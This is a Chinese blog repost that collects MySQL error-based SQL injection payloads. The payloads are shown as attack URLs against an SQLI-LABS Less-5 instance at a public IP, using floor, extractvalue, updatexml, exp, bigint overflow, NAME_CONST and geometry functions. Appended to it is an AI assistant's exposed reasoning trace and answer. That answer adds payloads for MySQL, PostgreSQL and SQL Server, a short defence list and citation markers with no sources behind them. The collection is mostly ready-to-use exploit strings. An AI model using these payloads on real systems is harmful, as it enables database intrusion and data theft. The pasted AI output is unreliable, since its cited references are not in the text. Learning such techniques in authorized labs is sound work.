各种报错注入payload总结——转自郁离歌

郁离歌:https://blog.youkuaiyun.com/like98k/article/details/79646512

 

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

0x07.总结

  1. floor()

    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

    information_schema.tables group by x)a)

  2. updatexml()

    and 1=(updatexml(1,concat(0x3a,(select user())),1))

  3. extractvalue()

    and extractvalue(1,concat(0x5c,(select user())))

  4. exp()

    and exp(~(select * from(select user())a))

  5. multipoint()

    and multipoint((select * from(select * from(select user())a)b))

  6. geometrycollection()

    and geometrycollection((select * from(select * from(select user())a)b))

  7. polygon()

    and polygon((select * from(select * from(select user())a)b))

  8. multipolygon()

    and multipolygon((select * from(select * from(select user())a)b))

  9. linestring()

    and linestring((select * from(select * from(select user())a)b))

  10. multilinestring()

    and multilinestring((select * from(select * from(select user())a)b))

<think>好的,我现在需要帮助用户查找关于报错注入(error-based SQL injection)的payload示例和解释。用户提到他们可能是在学习安全测试或了解漏洞利用方法。首先,我得回顾自己掌握的SQL注入知识,特别是报错注入的部分。 报错注入是一种利用数据库错误信息来提取数据的方法。当应用程序没有正确过滤用户输入,并且将错误信息直接返回给用户时,攻击者可以构造特定的查询,触发数据库错误,从而通过这些错误信息获取数据库结构或数据。 接下来,我需要确认用户需要的具体内容:payload示例和解释。因此,我应该先列举常见的报错注入技术,并给出对应的payload例子,然后逐一解释其原理。同时,需要注意引用相关的资料,比如用户提供的引用[3]提到了一些攻击技术,但可能更相关的可能是引用[2]中关于PostgreSQL的安全措施,不过用户的问题更偏向于攻击方法,所以可能需要结合一般性的知识。 常见的数据库如MySQL、PostgreSQL、SQL Server在报错注入上有不同的函数和利用方式。例如,MySQL中的updatexml()、extractvalue(),以及利用group by子句的重复列错误;而PostgreSQL可能使用cast函数结合类型换错误。SQL Server则可能利用convert函数或其它方式。 需要确保给出的示例准确,并且语法正确。同时,提醒用户这些方法仅用于教育目的,强调合法授权测试的重要性,符合引用[2]中提到的安全思维模式。 然后,考虑用户可能的后续问题,比如如何防御这类攻击,或者不同数据库之间的差异。因此,在相关问题部分,可以提出防御措施、不同数据库的报错注入差异,以及工具使用的问题。 现在整理思路,分步骤说明报错注入的原理,给出不同数据库的payload示例,并解释每个部分的作用。同时,引用用户提供的资料中的相关内容,比如引用[3]提到的攻击技术,如利用错误信息获取访问权限,但具体到报错注入,可能需要更具体的例子。 最后,确保回答结构清晰,使用中文,并正确应用LaTeX格式,行内公式用$...$,独立公式用$$...$$。同时,生成的相关问题需要与主题紧密相关,帮助用户进一步学习。</think>### 报错注入(Error-Based SQL Injection)Payload示例与原理 报错注入是一种通过触发数据库错误信息来提取数据的攻击技术,常用于**未正确过滤输入且显示错误详情**的Web应用[^3]。以下是常见数据库的payload示例与解析: --- #### 1. **MySQL 报错注入** 利用函数如 `updatexml()` 或 `extractvalue()` 构造XPath语法错误: ```sql ' AND updatexml(1, concat(0x7e, (SELECT user())), 1) -- ``` - **解析**: - `updatexml()` 用于XML解析,第二个参数应为合法XPath表达式。 - `concat(0x7e, (SELECT user()))` 拼接波浪符(`~`)和当前用户信息,导致XPath格式错误。 - 错误信息会包含`~root@localhost`等敏感数据[^2]。 **数学表达示例**: 若数据库版本查询的payload为: $$ \text{payload} = \text{' AND updatexml(1, concat(0x7e, version()), 1) -- } $$ 则错误输出可能包含版本号,如`XPATH syntax error: '~8.0.32'`。 --- #### 2. **PostgreSQL 报错注入** 利用类型换错误或未定义函数: ```sql ' AND 1=cast((SELECT current_user) as int) -- ``` - **解析**: - `cast((SELECT current_user) as int)` 尝试将用户名(字符串)换为整数,触发类型错误。 - 错误信息如 `invalid input syntax for integer: "postgres"` 会泄露当前用户。 --- #### 3. **SQL Server 报错注入** 使用`convert()`函数触发类型换错误: ```sql ' AND 1=convert(int, (SELECT @@version)) -- ``` - **解析**: - `convert(int, ...)` 强制换数据库版本信息(字符串)为整数,导致错误。 - 错误信息会包含完整的版本字符串。 --- ### 防御建议 1. **输入过滤与参数化查询**:使用预编译语句(Prepared Statements)避免SQL拼接。 2. **错误信息隐藏**:禁止向用户返回原始数据库错误详情。 3. **权限最小化**:限制数据库账户权限,避免使用高权限账户连接应用[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值